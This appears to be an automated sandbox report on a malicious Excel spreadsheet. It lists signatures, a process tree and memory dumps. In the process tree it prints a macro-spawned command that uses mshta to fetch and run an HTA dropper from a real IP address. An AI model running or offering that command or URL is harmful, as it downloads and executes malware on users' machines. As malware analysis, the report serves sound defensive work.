Analysis
- max time kernel
119s - max time network
123s - platform
windows10_x64 - resource
win10-en-20211208 - submitted
27/01/2022, 18:28
General
- Target tmpa6m75tdc.xls
- Size 154KB
- Sample220127-w4bwvsghcn
- SHA256 e147d79507f26f5c5e72eebe0551cfca64e2675e91537385e0ab61bdaa634829
Malware Config
Extracted
-
hta
-
hta.dropper
http://91.240.118.168/qqqw/aaas/se.html
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 1 IoCs
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpa6m75tdc.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/qqqw/aaas/se.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://91.240.118.168/qqqw/aaas/se.html3⤵
- Blocklisted process makes network request
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 3772 -s 16444⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/3052-115-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-116-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-117-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-118-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-121-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-128-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp
memory/3052-129-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp
memory/3052-309-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-310-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-311-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp
memory/3052-312-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp